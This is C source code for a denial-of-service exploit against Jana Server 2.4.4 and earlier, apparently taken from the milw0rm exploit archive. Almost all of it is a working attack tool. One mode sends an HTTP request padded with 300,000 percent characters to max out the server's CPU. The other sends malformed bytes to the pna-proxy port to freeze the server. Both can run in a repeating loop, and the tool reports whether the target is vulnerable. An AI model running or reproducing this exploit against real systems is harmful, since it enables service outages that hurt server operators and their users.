/* by Luigi Auriemma */ #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #else #include #include #include #include #include #include #endif #define VER "0.1" #define CHR '%' #define GET1 "GET /" #define GET2 " HTTP/1.0\r\n" \ "\r\n" #define BOOMSZ 300000 #define PNACPU 3 #define TIMEOUT 3 int timeout(int sock); u_long resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len, attack, loop = 0; u_short port; u_char *buff; setbuf(stdout, NULL); fputs("\n" "Jana Server <= 2.4.4 http/pna DoS "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@altervista.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 4) { printf("\n" "Usage: %s [loop]\n" "\n" "Attack:\n" " 1 = http-server (temporary) CPU at 100%%, port 2506\n" " 2 = full server freeze caused by loop in pna-proxy, port 1090\n" "\n" "Example check: janados 1 localhost 2506\n" "Example loop: janados 1 localhost 2506 loop\n" "\n", argv[0]); exit(1); } #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif attack = atoi(argv[1]); if(attack == 1) { printf( "- http-server attack\n" "- build HTTP request containing %d chars '%c'\n", BOOMSZ, CHR); len = sizeof(GET1) - 1 + BOOMSZ + sizeof(GET2); buff = malloc(len); if(!buff) std_err(); memcpy(buff, GET1, sizeof(GET1) - 1); memset(buff + sizeof(GET1) - 1, CHR, BOOMSZ); memcpy(buff + sizeof(GET1) - 1 + BOOMSZ, GET2, sizeof(GET2)); } else if(attack == 2) { fputs("- pna-proxy attack\n", stdout); buff = malloc(PNACPU); if(!buff) std_err(); memset(buff, '\x7f', PNACPU); // 0x7f7f, integer value len = PNACPU; } else { fputs("\nError: wrong type of attack chosen\n\n", stdout); exit(1); } port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; if(argc > 4) { loop = 1; fputs("- mega loop activated\n", stdout); } for(;;) { sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sd < 0) std_err(); printf("- connect to %s:%hu ... ", inet_ntoa(peer.sin_addr), port); if(connect(sd, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); fputs("ok\n", stdout); fputs("- send malformed request\n", stdout); if(send(sd, buff, len, 0) < 0) std_err(); if(!loop) break; close(sd); } fputs("- check server:\n", stdout); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } return(0); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_long resolv(char *host) { struct hostent *hp; u_long host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolve hostname (%s)\n", host); exit(1); } else host_ip = *(u_long *)(hp->h_addr); } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2004-11-30]